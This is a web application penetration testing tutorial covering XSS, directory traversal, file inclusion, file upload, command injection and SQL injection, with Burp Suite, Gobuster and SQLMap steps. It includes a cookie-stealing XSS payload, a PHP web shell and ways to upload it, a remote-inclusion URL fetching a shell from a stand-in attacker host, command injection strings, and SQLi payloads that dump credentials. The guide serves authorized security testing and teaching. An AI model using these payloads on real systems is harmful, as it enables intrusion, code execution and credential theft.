Common Web Application Attacks
Web Application Penetration Testing Guide
Table of Contents
- Cross-Site Scripting (XSS)
- Directory Traversal
- Absolute vs Relative Paths
- Identifying and Exploiting Directory Traversals
- Encoding Special Characters
- File Inclusion Vulnerabilities
- Local File Inclusion (LFI)
- PHP Wrappers
- Remote File Inclusion (RFI)
- File Upload Vulnerabilities
- Using Executable Files
- Using Non-Executable Files
- OS Command Injection
- SQL Injection
- Disclaimer
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) allows attackers to inject JavaScript into a web page that executes in other users’ browsers.
Types of XSS
- Reflected XSS: Injected code is reflected off a web server, immediately executing in the user’s browser.
- Stored XSS: Injected code is stored on the server, making it available to multiple users.
- DOM-Based XSS: Exploits a vulnerability in the page’s client-side JavaScript.
Using Burp Suite to Inject XSS Payloads
- Set up Burp Proxy:
- Configure your browser to route traffic through Burp Suite’s Proxy (usually
127.0.0.1:8080
).
- Configure your browser to route traffic through Burp Suite’s Proxy (usually
- Intercept Requests:
- Navigate to a form input or URL parameter on the target website where user input is accepted.
- Example URL:
http://example.com/search?q=
- Enter a sample query like
<script>alert(1)</script>
to test for XSS.
- Modify Payload in Burp Suite:
- Intercept the request in Burp Proxy and send it to Burp Repeater.
- In Repeater, replace the value of
q
with an XSS payload, like<script>alert(document.cookie)</script>
. - Send the modified request and observe if the JavaScript executes.
Advanced XSS Payloads
-
Obfuscate with String.fromCharCode() to bypass filters:
<script>String.fromCharCode(97, 108, 101, 114, 116)(1);</script>
-
Use HTML encoding for
<script>
:<img src="x" onerror="alert('XSS')">
Directory Traversal
Directory traversal vulnerabilities allow attackers to access files outside the intended directory structure by manipulating file paths.
Absolute vs Relative Paths
- Absolute Path: Full file path from the root (e.g.,
/var/www/html/config.php
). - Relative Path: Path relative to the current directory (e.g.,
../../../../etc/passwd
).
Identifying and Exploiting Directory Traversals
-
Basic Payload: Try
../
sequences to navigate up directories (e.g.,../../../etc/passwd
). - Adding Padding to Traversal Strings:
-
For cases where traversal is limited by the application or file system, add excess
../
sequences to ensure you reach the root directory. For instance:../../../../../../../../../../etc/passwd
Once the root is reached, additional
../
sequences remain in the root, allowing access to files from the root directory without additional navigation.
-
- Using Gobuster to Enumerate Directories:
- Identify Possible Entry Points:
- Look for URL parameters with file paths, such as
http://example.com/view?file=
.
- Look for URL parameters with file paths, such as
- Run Gobuster to Brute-Force Directories:
- Use Gobuster to find hidden directories and files.
-
Example command:
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt -x php,html
- This command uses a common directory wordlist and checks for extensions like
.php
and.html
.
- Analyze Results:
- Identify paths like
/admin
,/config
, or/includes
that may access sensitive files.
- Identify paths like
- Identify Possible Entry Points:
Testing Directory Traversal Exploits with Burp Suite
- Modify Path Parameters in Burp Repeater:
- Intercept a request with a file path parameter, such as
http://example.com/view?file=home.html
. - Send to Burp Repeater and replace
home.html
with traversal sequences like../../../etc/passwd
. - Check if the server responds with content from sensitive files.
- Intercept a request with a file path parameter, such as
- Encoding Special Characters:
- URL encode traversal sequences to bypass filters, e.g.,
%2e%2e%2f%2e%2e%2fetc/passwd
.
- URL encode traversal sequences to bypass filters, e.g.,
File Inclusion Vulnerabilities
File inclusion vulnerabilities allow attackers to include files on the server through the web browser.
Local File Inclusion (LFI)
- Identify File Inclusion Points:
- Look for parameters like
?file=
in URLs, e.g.,http://example.com/view?file=about.html
.
- Look for parameters like
- Inject LFI Payloads Using Burp Suite:
- Intercept the request and send it to Burp Repeater.
- Replace
about.html
with traversal payloads, such as../../../../etc/passwd
. - Send the request to see if the server includes sensitive files.
PHP Wrappers for LFI
- Use PHP Wrappers to Bypass Restrictions:
-
Try including files encoded in base64:
php://filter/convert.base64-encode/resource=index.php
-
Intercept and send this in Repeater to receive a base64-encoded version of the file.
-
- Log Poisoning with LFI:
- Inject PHP code into logs (e.g.,
<?php system($_GET['cmd']); ?>
). -
Access the log file via the vulnerable parameter:
http://example.com/view?file=/var/log/apache2/access.log
- Inject PHP code into logs (e.g.,
Remote File Inclusion (RFI)
- Inject Remote File URL:
-
For vulnerable sites, try pointing the
file
parameter to a remote file:http://example.com/view?file=http://attacker-site.com/shell.php
-
This could execute the remote file on the server.
-
File Upload Vulnerabilities
File upload vulnerabilities occur when applications allow unvalidated file uploads.
Using Executable Files
- Upload a Malicious PHP File:
-
Prepare a simple PHP shell, such as:
<?php system($_GET['cmd']); ?>
-
Attempt to upload this file in a file upload form.
-
- Modify File Extension in Burp Suite:
- If the application restricts
.php
files, intercept the request in Burp, and try changing.php
to.php.jpg
. -
After upload, access the file:
http://example.com/uploads/shell.php.jpg?cmd=ls
- If the application restricts
Using Non-Executable Files
- Upload with Modified Headers:
- Change the
Content-Type
header in Burp Suite to bypass filtering. - For example, change
application/php
toimage/jpeg
to evade detection.
- Change the
- Exploit Directory Traversal for File Execution:
- Upload a file as
.jpg
and access it through directory traversal combined with LFI.
- Upload a file as
OS Command Injection
Command injection allows executing arbitrary commands on the server by injecting command operators.
Testing OS Command Injection with Burp Suite
- Identify Parameters Susceptible to Injection:
- Look for parameters that interact with the system, such as those taking IP addresses.
- Modify Requests with OS Commands:
- Inject commands like
; whoami
or| cat /etc/passwd
into the vulnerable parameter in Burp Repeater. -
Example:
http://example.com/ping?ip=8.8.8.8;whoami
- Inject commands like
- Chaining Commands:
- Use
&&
to chain commands or redirect output, e.g.,http://example.com/ping?ip=8.8.8.8 && ls
.
- Use
SQL Injection
SQL Injection (SQLi) vulnerabilities allow attackers to manipulate the SQL queries used by the application.
SQL Injection Testing with SQLMap
- Run SQLMap for Automated Testing:
-
Basic SQLMap command:
sqlmap -u "http://example.com/item?id=1" --dbs
-
Options:
--tables
: List tables in a specific database.--dump
: Dump data from a table.
-
- Bypass WAFs and Filters:
- Use tamper scripts in SQLMap, e.g.,
sqlmap -u "http://example.com/item?id=1" --dbs --tamper=space2comment
.
- Use tamper scripts in SQLMap, e.g.,
- Manual SQLi with Burp Suite:
- Intercept a request in Burp Proxy,
send it to Repeater, and try different payloads:
- ' OR '1'='1
- UNION SELECT null, username, password FROM users--
- Blind SQL Injection:
- SQLMap can be configured for Boolean-based blind SQLi, e.g.,
sqlmap -u "http://example.com/item?id=1" --level 5 --risk 3
.
- SQLMap can be configured for Boolean-based blind SQLi, e.g.,
Disclaimer
This guide is intended for ethical penetration testing engagements where explicit permissions have been granted. Unauthorized testing without consent is illegal and unethical. Always follow applicable laws and regulations.